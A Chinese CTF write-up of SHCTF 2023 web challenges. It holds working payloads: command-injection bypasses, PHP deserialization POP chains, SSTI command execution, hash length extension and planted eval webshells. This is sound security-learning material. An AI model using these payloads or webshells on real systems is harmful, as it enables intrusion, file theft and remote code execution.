[SHCTF 2023]——week1-week3 Web方向详细Writeup

news/2024/5/19 22:47:56 标签: CTF, web安全, Web, php, 反序列化

Week1

babyRCE

源码如下

php"><?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

扫描一下当前目录,发现flag

image-20231023153618172

绕过方式如下

过滤字符串替代字符串
catuniq
空格${IFS}
flagfla?

payload如下

?rce=uniq${IFS}fla?.php

?好好好,这么玩是吧

image-20231023162546546

flag在根目录里

image-20231023162713657

重新构造payload:

?rce=uniq${IFS}/f???

得到flag

php_58">1zzphp

开题得到源码

php"> <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  

先绕过第一层

intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,如果正则不匹配多行(/m)也可用上面的换行方法绕过

所以我们直接将num当做数组传入即可

?num[]=111

然后又通过正则匹配过滤了SHCTF,但是又让我们传入的code的值为2023SHCTF

这里利用preg最大回溯来绕过,直接写脚本发送请求

具体可看这篇:深悉正则(pcre)最大回溯/递归限制

import requests

url = "http://112.6.51.212:30395/?num[]=111"

param = "very"*250000+"2023SHCTF"
#param = "2023SHCTF"
data = {
    'c_ode': param,
}
#print(param)
reponse = requests.post(url=url,data=data)
print(reponse.text)

运行可得到flag

image-20231023185456867

ez_serialize

听说你会PHP反序列化漏洞?不信,除非can_can_need_flag

进入环境得到源码

php"><?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?> 

反序列化,先构造pop链

利用点是在__invoke()魔术方法中的include函数,可以利用该函数进行文件包含

__invoke() :将对象当作函数来使用时执行此方法

那么向上找就找到了__get()魔术方法,会在return $function()的时候执行一个函数

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

继续找可以看到在__toString()魔术方法中,有return $this->z->var,在试图获取z类中var属性的值,所以可以通过这个触发__get()魔术方法

__toString(): 当一个对象被当作字符串使用时触发

然后可以看到在preg_match正则匹配的时候,会将对象当做字符串处理,所以pop链如下

A::__invoke() <-- D::__get() <-- C::__toString() <-- B::__wakeup() 

构造exp:

php"><?php
class A{
    public $var_1;
    function __construct()
    {
        $this ->var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
    }
    public function __invoke(){
        include($this->var_1);
    }
}

class B{
    public $q;
    function __construct()
    {
        $this ->q = new C();
    }
}
class C{
    public $var;
    public $z;
    function __construct()
    {
        $this ->z = new D();
    }
}

class D{
    public $p;
    function __construct()
    {
        $this ->p = new A();
    }
}
$a = new B();
echo serialize($a);

运行生成序列化字符串

O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

payload传参

?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

传参得到base64编码的flag,解码得到flag

登录就给flag

无语了。。。一开始以为是strtus2,结果就是弱口令

账号admin,密码password,弱口令直接登

image-20231024153556009

飞机大战

小飞棍来喽

查看源代码可以看到获得flag的要求

image-20231024161039883

但是我在找控制分数的属性的时候找到了这个

image-20231024161214074

可以看到是unicode编码,解码一下

image-20231024161228176

应该是一串base64编码字符串,解码得到flag

image-20231024161251131

php_281">ezphp

源码如下

php"><?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?> 

因为字符串中的特殊字符需要转义,所以\\1实际上就是 \1, 而 \1 在正则表达式中表示反向引用。

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用\n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

可以看看这篇文章:深入研究preg_replace与代码执行

正则表达式含义
.匹配除换行符以外的任意字符
\s匹配任意的空白符
\S匹配任何非空白字符
+匹配前面的子表达式一次或多次

所以可以构造payload:

?code= ${phpinfo()}

POST data:
pattern=\S*

image-20231026101229660

flag在phpinfo中,找就行了

生成你的邀请函吧~

API:url/generate_invitation  
Request:POST application/json  
Body:{  
   "name": "Yourname",  
   "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

使用POST json请求来生成你的邀请函吧flag就在里面哦

就按照格式发包即可,请求包如下

POST /generate_invitation HTTP/1.1
Host: 112.6.51.212:31712
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cache: no-cache
Content-Length: 120
Origin: moz-extension://52197b93-2daa-44a4-bdab-53cb22781078
Connection: close
Cookie: session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5ODE0NDg2Ny45MjU0Njh9.ZTeiYw.DovBAS1GQx11tdF57JlQ1hO2pqQ

{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

发完包之后会自动下载一个图片,flag在里面

Week2

serialize

刚刚失误了,狠狠拷打完出题人,我不信你这次还能拿到flag

源代码如下

php"> <?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

构造pop链,利用点是在milaoshu类的__toString()魔术方法中的include函数来进行文件包含

__toString(): 当一个对象被当作字符串使用时触发

向上找,可以看见__get()魔术方法中的die()函数可以触发__toString()魔术方法,

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

继续找,可以发现musca类的__wakeup魔术方法可以触发__get魔术方法

所以pop链如下

milaoshu::__toString() <-- misca::__get() <-- musca::__wakeup()

构造exp的时候注意一下,在__get()魔术方法会触发miaomiao函数并重新赋值,但是我们可以利用PHP变量引用来进行绕过


PHP变量引用

& 传递变量的地址, 类似于 c 中的指针

test1

php"><?php

$a = '123';
$b = &$a;
$a = '456';
echo $b;

?>
    
#456

这里面 $b 的值就是 $a 的值, 因为 $b 里面存了 $a 的地址, 两者是等价的

同理, 如果改变 $b 的值, $a 的值也同样会改变

再给个例子

test2

php"><?php
class abc{
    public $a = '1';
    public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '2';//此时哪怕修改a的值也不管用
echo $c->b = md5(mt_rand()).PHP_EOL;
print_r($c->a);
?>

//运行结果
99b7a2ba03ae148d05525d96ac414ad9
99b7a2ba03ae148d05525d96ac414ad9

构造exp:

php"><?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;

    function __construct()
    {
        $this ->gao = "tired";
        $this ->fei = new milaoshu();
        $this ->a = &$this->gao;
    }
}
class musca{
    public $ding;
    public $dong;

    function __construct(){
        $this ->ding = new misca();
        $this ->dong = "webbbb";
    }
}
class milaoshu{
    public $v;
    function __construct(){
        $this ->v = "php://filter/read=convert.base64-encode/resource=flag.php";
    }
}
$a = new musca();
echo PHP_EOL;
echo serialize($a);

运行即可生成序列化字符串

O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:9:"index.php";}s:1:"a";R:3;}s:4:"dong";s:6:"webbbb";}

传参的时候也要利用PHP非法传参来进行传参


非法传参

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造nss_ctfer.vip的话,最后php执行的是nss_ctfer_vip,因此我们将前面的_[代替

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_


然后就是绕过check正则匹配,其实很多简单,他正则匹配的是O:\d,也就是O:后面跟一个整数

开始只想到了+绕过,但是PHP高版本情况下绕过不了,所以新学了个绕过方式,数组绕过

把最后的输出语句改为

php">echo serialize(array($a));

生成序列化字符串

a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}

最终payload:

?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}

得到base64编码后的flag

no_wake_up

进入环境后点击按钮可以得到源代码

php"> <?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

很明显了,绕过__wakeup()魔术方法,然后利用include来进行文件包含

构造exp的时候要用伪协议来读取文件

exp:

php"><?php
class flag{
    public $username;
    public $code;

    function __construct()
    {
        $this -> username = 'admin';
        $this -> code = "php://filter/read=convert.base64-encode/resource=flag.php";
    }
}
echo PHP_EOL;
$a = new flag();
echo serialize($a);

运行生成

O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

这里直接传就行了。。。我一开始看蒙了,细看了一下

php">if($this->username = "admin")

这里判断条件用的是单等于号=,所以只要传入username就是恒成立了。。。

image-20231024163104836

base64解码一下得到flag

这可能是出题的时候出错了。。。

MD5的事就拜托了

php"> <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
} 

先输出md5($flag),可以看这篇文章

CTFSHOW PARSE_URL 第五关

简而言之就是利用parse_url协议来对传入的url进行一个拆分,然后利用extract来设定值

php"><?php
$str = "user://pass:SHCTF@scheme";
$data = parse_url($str);
var_dump($data);
//echo $data;


$scheme = "Original";
extract($data);
echo "\$a = $scheme; \$b = $user; \$c = $pass";
?>
#$a = user; $b = pass; $c = SHCTF

这样,str$scheme的值就是user,那么$$sheme就是$user,以此类推来达到我们想要的结果

传参

POST data:
SHCTF=user://pass:SHCTF@scheme

可以得到flag的md5哈希值

d9dbdc0ee9c4af7b50c6912d872cc475

接下来绕过intval()函数即可,利用小数绕过

虽然已经*100了,但是多打几个小数位就可以了

http://112.6.51.212:32610/?length=4.1516

最后一串有点意思

php">if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

它检查表单中SHCTF字段的提交值($_POST['SHCTF'])是否不等于变量$flag的MD5哈希值。如果第一个条件不满足,它检查经过解码的存储在变量$num中的URL编码值连接到$flag的MD5哈希后,是否等于提交的值。

这个其实见过就知道了,Hash长度拓展攻击

可以看我写的这篇,这里不多赘述了

[*CTF 2023]web方向——jwt2struts 详细Writeup

服了,试了半天试不出来,发现是hashpump用错了

这里Input Data需要的是已知字符串,Key Length需要的是未知字符串的长度

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串"}"
Input Key Length                   #为密文长度"41"
Input Data to Add                  #为补位后自己加的字符串(自定义)

我们知道flag的格式,flag{}所以我们就知道了最后的},那么未知的字符串长度便是41

image-20231026141509274

得到的hash就是我们需要传入的SHCTF的值,但是下面的字符串需要我们处理一下

\x换成%然后传参,这里注意一下,传参的时候要把}给去掉

%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00aa

image-20231026142402271

ez_ssti

that is your begin of ssti world

很普通的ssti,没有过滤,找个payload随便打了,参数是name

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

可以扫描根目录

image-20231025195745648

然后命令修改为cat /f*即可

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

EasyCMS

可以看到是taoCMS

image-20231024154209717

网上找一个CVE照着打一下

这里直接点管理点不到,服务器响应超时,那就直接访问/admin/admin.php,来到后台登录系统

image-20231024154305477

账号admin,密码tao

然后进入文件管理

image-20231024155825962

新建shell.php,然后点击编辑

image-20231024160027256

在文件内容里写一句话木马,内容如下

php"><?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>

点击保存后,利用蚁剑可以直接连接

image-20231024160305709

但是哥们蚁剑犯病了,这里直接RCE了

payload:

cmd=system("cat /f*");

image-20231024160601340

Week3

快问快答

男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

脚本题,直接放脚本吧

import requests
import re
import time

url = 'http://112.6.51.212:31330/'
res = requests.session()
response = res.post(url, data={"answer": 123})

for i in range(1, 99):
    time.sleep(1.3)

    resTest = response.text
    pattern = re.compile(r'题目:(\d+) (与|异或|[+\-x÷^]) (\d+) = ?')
    match = pattern.search(resTest)

    if match:
        num1 = int(match.group(1))
        operator = match.group(2)
        num2 = int(match.group(3))
        if operator == '+':
            answer = num1 + num2
        elif operator == '-':
            answer = num1 - num2
        elif operator == '*' or operator == 'x':
            answer = num1 * num2
        elif operator == '÷':
            # answer = num1 / num2
            answer = int(num1 / num2)
        elif operator == '与':
            answer = num1 & num2
        elif operator == '异或':
            answer = num1 ^ num2
        else:
            answer = 0

        # print("第一个数字:", num1)
        # print("符号:", operator)
        # print("第二个数字:", num2)

        if answer is not None:
            print("计算结果:", answer)

        myData = {"answer": answer}

        response = res.post(url, data=myData)
        print(response.text)

        if "flag{" in response.text:
            print("Flaggggggggg!!!: ", response.text)
            exit()
    else:
        print("未找到匹配的题目。")
        print(response.text)

运行一段时间后得到flag

image-20231024190551731

写脚本的时候踩了很多坑

一是符号问题,乘和除用的是x÷,写的时候用的*/导致符号无法识别

二是session回话保持,因为他提示了,要休息1秒,所以在第一次发包来获得题目的时候需要time.sleep(1),不然题目就会刷新

三就是需要输入整数,输入小数会直接报错,所以在除法那里卡了一段时间

image-20231024190644402

可以说极大地增加了写脚本的水平

sseerriiaalliizzee

don’t want to die

源代码如下

php"><?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?>  

可以看一下这篇文章

谈一谈php://filter的妙用

懒得讲了,直接串链子了

CTF :: dosomething <-- Start :: __toString

__toString魔术方法直接在反序列化的时候通过echo触发

构造exp:

php"><?php error_reporting(0);
class Start
{
    public $barking;
    public function __construct()
    {
        $this->barking = new CTF();
    }
}

class CTF
{
    public $part1;
    public $part2;

    public function __construct()
    {
        $this->part2 = "PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";
        $this->part1 = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    }
}
$a = new Start();
echo serialize($a);

运行生成

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}

然后POST传参

code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}

接着访问shell.php进行RCE

payload:

shell.php?cmd=system("cat /f*");

http://www.niftyadmin.cn/n/5237535.html

相关文章

数据安全建设的六大关键步骤

随着数字化时代的到来&#xff0c;数据安全已经成为企业和社会组织必须面对的重要问题。数据泄露、网络攻击等安全事件频发&#xff0c;给个人隐私、企业利益和国家安全带来了严重威胁。因此&#xff0c;加强数据安全建设已成为刻不容缓的任务。以下是数据安全建设的六大关键步…

基于Netty的网络调用实现

作为一个分布式消息队列&#xff0c;通信的质量至关重要。基于TCP协议和Socket实现一个高效、稳定的通信程序并不容易&#xff0c;有很多大大小小的“坑”等待着经验不足的开发者。RocketMQ选择不重复发明轮子&#xff0c;基于Netty库来实现底层的通信功能。 1 Netty介绍 Net…

跟我学c++高级篇——动态反射之二动态列表

一、动态生成列表 在上一篇中实现了一个Map映射&#xff0c;其实就是一个表。但那个表有点维护和扩展上的不方便&#xff0c;所以后为又开始用静态展开递归的方式来遍历枚举。其不管是怎么做&#xff0c;都是要得到整个枚举体的信息&#xff0c;然后才能进行处理。 这次使用一…

java农产品仓库进销存管理系统系统springboot+jsp

1. 选题的背景 中国是一个农产品生产的大国&#xff0c;可利用的农产品资源相对贫乏&#xff0c;传统的单纯依靠大量物质资源消耗和增加投入的发展模式已行不通了&#xff0c;而农产品信息技术在农产品上的普遍应用对农产品的发展将起到越来越重要的作用。我国蕴藏着丰富的科技…

SQL手工注入漏洞测试(PostgreSQL数据库)-墨者

———靶场专栏——— 声明&#xff1a;文章由作者weoptions学习或练习过程中的步骤及思路&#xff0c;非正式答案&#xff0c;仅供学习和参考。 靶场背景&#xff1a; 来源&#xff1a; 墨者学院 简介&#xff1a; 安全工程师"墨者"最近在练习SQL手工注入漏洞&#…

面试必会-JAVA基础篇-02

文章目录 11. ArrayList 和 LinkedList 的区别是什么&#xff1f;12. 说一下HashMap的实现原理&#xff1f;13. HashMap的put方法的具体流程&#xff1f;14. 讲一讲HashMap的扩容机制15. ConcurrentHashMap 底层具体实现知道吗&#xff1f;16. 创建线程的四种方式17. runnable …

【矩阵论】Chapter 4—特征值和特征向量知识点总结复习

文章目录 1 特征值和特征向量2 对角化3 Schur定理和正规矩阵 1 特征值和特征向量 定义 设 σ \sigma σ为数域 F F F上线性空间 V V V上的一个线性变换&#xff0c;一个非零向量 v ∈ V v\in V v∈V&#xff0c;如果存在一个 λ ∈ F \lambda \in F λ∈F使得 σ ( v ) λ v \…

日期类 - Java

知道怎么查&#xff0c;怎么用即可&#xff0c;不用每个方法都背 日期类 第一代日期类方法演示 第二代日期类方法演示 第三代日期类前面两代日期类的不足分析第三代日期类常见方法方法演示 第一代日期类 Date类&#xff1a;精确到毫秒&#xff0c;代表特定的瞬间SimpleDateFor…